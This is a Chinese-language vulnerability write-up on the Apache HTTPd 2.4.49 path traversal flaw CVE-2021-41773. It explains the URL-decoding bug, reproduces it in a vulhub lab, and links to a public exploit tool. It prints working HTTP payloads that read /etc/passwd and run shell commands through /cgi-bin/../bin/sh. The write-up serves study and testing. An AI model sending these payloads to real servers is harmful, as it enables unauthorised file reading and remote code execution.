CVE-2021-41773
Apache Httpd Server 路径穿越漏洞
Httpd(即 HTTP Daemon ,超文本传输协议守护程序的简称)是一款运行于网页服务器后台,等待传入服务器请求的软件。HTTP 守护程序能自动回应服务器请求,并使用 HTTP 协议传送超文本及多媒体内容。
漏洞简介:
Apache HTTPd 是Apache基金会开源的一款HTTP服务器。2021年10月8日Apache HTTPd官方发布安全更新,披露CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞。攻击者利用这个漏洞,可以读取到Apache服务器web目录以外的其他文件,或读取web中的脚本源码,如果服务器开启CGI或cgid服务,攻击者可进行任意代码执行。影响版本是Apache HTTP Server 2.4.49。因为修复不完整,在版本Apache HTTP Server 2.4.50任有影响 ( CVE-2021-42013)
漏洞原理简介:
在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时,其使用的 ap_normalize_path()
函数会对路径参数先进行 url 解码,然后判断是否存在 ../
路径穿越符。
当检测到路径中存在 %
字符时,若其紧跟的两个字符是十六进制字符,则程序会对其进行 url 解码,将其转换成标准字符,如 %2e
会被转换为 .
。若转换后的标准字符为 .
,此时程序会立即判断其后两字符是否为 ./
,从而判断是否存在未经允许的 ../
路径穿越行为。
如果路径中存在 %2e./
形式,程序就会检测到路径穿越符。然而,当出现 .%2e/
或 %2e%2e/
形式,程序就不会将其检测为路径穿越符。原因是遍历到第一个 .
字符时,程序检测到其后两字符为 %2
而不是 ./
,就不会将其判断为 ../
。因此,攻击者可以使用 .%2e/
或 %2e%2e/
绕过程序对路径穿越符的检测,从而读取位于 Apache 服务器 web 目录以外的其他文件,或者读取 web 目录中的脚本文件源码,或者在开启了 cgi 或 cgid 的服务器上执行任意命令。本质上,这一漏洞属于代码层面的逻辑漏洞。
漏洞复现:
复现使用的是vulhub的环境,位于/vulhub/httpd/CVE-2021-41773
。复现使用的工具是Burp,也可以直接curl…进行漏洞利用。
执行docker-compose up -d
启动漏洞环境。访问127.0.0.1:8080 若显示It works!
则漏洞环境部署成功。
先进行抓包。然后进行改包。
目录穿越 poc:
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
RCE poc:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
...
...
...
...
...
...
echo; ls(要执行的命令)
代码层原理参考:【原创】Apache httpd CVE-2021-41773 漏洞分析 - FreeBuf网络安全行业门户
找到了一个漏洞利用工具:
https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013